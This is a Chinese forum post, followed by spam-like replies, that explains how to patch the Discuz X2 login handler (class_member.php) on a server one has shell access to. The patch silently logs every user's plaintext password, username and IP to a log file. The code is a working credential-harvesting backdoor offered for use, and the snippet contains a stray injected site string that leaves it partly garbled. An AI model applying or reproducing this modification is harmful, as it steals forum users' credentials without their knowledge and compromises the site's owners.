shell下轻松截获 DZ X2 明文密码

偭越

其次：这是通过简单修改DZ源文件，利用密码错误记录原理截取明文密码
呵呵，目的比较简单，不想跑那蛋疼的二次加密MD5，当然不是为了做坏事
目标文件：/source/class/class_member.php
先看错误密码记录部分，第200行左右

1. 01 } else {
   
2. 02 $password = preg_replace（"/^（.{".round（strlen（$_G['gp_password']） / 4）."}）（.+?）（.{".round（strlen（$_G['gp_password']） / 6）."}）$/s", "", $_G['gp_password']）;
   
3. 03 $errorlog = dhtmlspecialchars（
   
4. 04 TIMESTAMP."\t".
   
5. 05 （$result['ucresult']['username'] ? $result['ucresult']['username'] : dstripslashes（$_G['gp_username']））."\t".
   
6. 06 $password."\t".
   
7. 07 "Ques #".intval（$_G['gp_questionid']）."\t".
   
8. 08 $_G['clientip']）;
   
9. 09 writelog（'illegallog', $errorlog）;
   
10. 10 loginfailed（$_G['gp_username']）;
    
11. 11 $fmsg = $result['ucresult']['uid'] == '-3' ? （empty（$_G['gp_questionid']） || $answer == '' ? 'login_question_empty' : 'login_question_invalid'） : 'login_invalid';
    
12. 12 showmessage（$fmsg, '', array（'loginperm' => $_G['member_loginperm']））;
    
13. 13 }

复制代码

我们在用户点登陆时候就记录下明文密码1 $password = preg_replace（"/^（.{".round（strlen（$_G['gp_password']） / 4）."}）（.+?）（.{".round（strlen（$_G['gp_password']） / 6）."}）$/s", "", $_G['gp_password']）;
去掉*代替部分的密码，要截的是明文

1. $password = $_G['gp_password'];

复制代码

改好的简单代码如下：

1. 01 if（$result['status'] > 0） {
   
2. 02 $password = $_G['gp_password'];
   
3. 03 $errorlog = dhtmlspecialchars（
   
4. 04 TIMESTAMP."\t".
   
5. 05 （$result['ucresult']['username'] ? $result['ucresult']['username'] : dstripslashes（$_G['gp_username']））."\t".
   
6. 06 $password."\t".
   
7. 07 "Ques #".intval（$_G['gp_questionid']）."\t".
   
8. 08 $_G['clientip']）;
   
9. 09 writelog（'illegallogs', $errorlog）;
   
10. 10 bbs.admin8.us }

复制代码

整段代码插入到源代码if（$result['status'] > 0） 前面
明文密码会记录在/data/log/2011（月份）_illegallogs.php 里，当然，错误和正确都会记录

sonyone0769

呵呵 黑阔站长8大家好奇嘛 来观看下~~~~  

红袋鼠

楼主go黑阔站长8od  

hvuouap

楼主，黑阔站长8你的高尚情.太让人感动了。在现在这样一个物欲横流的金钱社会里，竟然还能见到楼主这样的性情中人，无疑是我这辈子最大的幸运。让我深深感受到了人性的伟大。楼主的帖子，就好比黑暗中刺裂夜空的闪电，又好比撕开乌云的阳光，一瞬间就让我如饮甘露，让我明白了永恒的真理在这个世界上是真实存在着的。只有楼主这样具备广阔胸怀和完整知识体系的人，才能作为这真理的惟一引言者。

rolex

  大师的话真如“黑阔站长8大音希声扫阴翳”，犹如“拨开云雾见青天  

力量omr

楼主的帖子实在是写得太好了。黑阔站长8可是我立刻想到，这么好的帖子，倘若别人看不到，那么不是浪费楼主的心血吗？经过痛苦的思想斗争，我终于下定决心，牺牲小我，奉献大我。我要拿出这帖子奉献给世人赏阅，我要把这个帖子一直往上顶，往上顶！顶到所有人都看到为止！  

16号爱人

什么什么黑阔站长8啊??

猫闻鱼香味

哈哈,有意思~顶顶 ，继续顶顶。继续顶哦

13pipi

不错不错.,..我喜欢

tulang118

给我一个女人，黑阔站长8我可以创造一个民族；给我一瓶酒，我可以带领他们征服全世界 。。。。。。。。。